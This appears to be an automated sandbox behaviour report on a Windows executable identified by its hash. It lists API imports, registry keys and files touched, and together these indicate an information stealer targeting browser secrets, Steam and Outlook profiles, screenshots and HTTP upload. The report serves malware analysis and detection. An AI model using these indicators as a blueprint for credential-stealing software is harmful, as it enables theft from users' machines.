(Indicator: "FindFirstFileA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GlobalSize"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "Process32First"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetSystemPowerStatus"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "lstrcpynA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CopyFileA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "wsprintfA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformationEx"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "BCryptDecrypt"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "RegEnumKeyExA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "RegEnumValueA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteExA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CharToOemW"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CloseWindow"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "Local State"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "DisplayVersion"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CryptBinaryToStringA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetKeyboardLayoutList"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameExA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CreateStreamOnHGlobal"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "BCryptGenerateSymmetricKey"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "BCryptSetProperty"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "BCryptDestroyKey"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CryptUnprotectData"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "SHGetFolderPathA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "InternetCrackUrlA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp")2f:T779,"SOFTWARE\Borland\Delphi\RTL" in Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe "Software\Borland\Locales" in Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe "Software\Borland\Delphi\Locales" in Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe "System\CurrentControlSet\Control\Keyboard Layouts\%.8x" in Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerS\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00004348.00000000.67570.025D0000.00000004.mdmp 00000000-00004348.00000001.69491.025D0000.00000004.mdmp 00000000-00004348.00000002.71409.025D0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004348.00000000.67570.025D0000.00000004.mdmp 00000000-00004348.00000001.69491.025D0000.00000004.mdmp 00000000-00004348.00000002.71409.025D0000.00000004.mdmp "Software\Valve\Steam" in Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp "Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp30:T60e,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74b50000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74b50000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74b50000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "KERNEL32" at base 74510000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73890000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73bd0000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "OLEAUT32.DLL" at base 76f00000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "COMCTL32" at base 73210000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "KERNEL32.DLL" at base 74510000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "RPCRT4.DLL" at base 76660000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 72f30000 "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7716000031:T11d9,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\WOW6432NODE\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "StreamBackedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "Computers and Devices" (Path: "HKCU\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER")32:T7a9,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "")33:Te66,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "9BE331F1059D8F7F371F8CF02D8B5DB37FFEC33E259B7D25B9902EEF45A8461B.EXE"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSAPPCOMPAT"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSUSERENABLED"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "")34:T655,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "C:\9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "\Device\HarddiskVolume2\9BE331F1059D8F7F371F8CF02D8B5DB37FFEC33E259B7D25B9902EEF45A8461B.EXE.LOCAL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "\Device\HarddiskVolume2\VERSION.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "C:\Windows\SysWOW64\version.dll" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.16299.248_none_d0271d135f36f548\comctl32.dll"35:Tb8e,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\9BE331F1059D8F7F371F8CF02D8B5DB37FFEC33E259B7D25B9902EEF45A8461B.ENU.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.ENU.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\9BE331F1059D8F7F371F8CF02D8B5DB37FFEC33E259B7D25B9902EEF45A8461B.EN.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.EN.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\RPCSS.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" 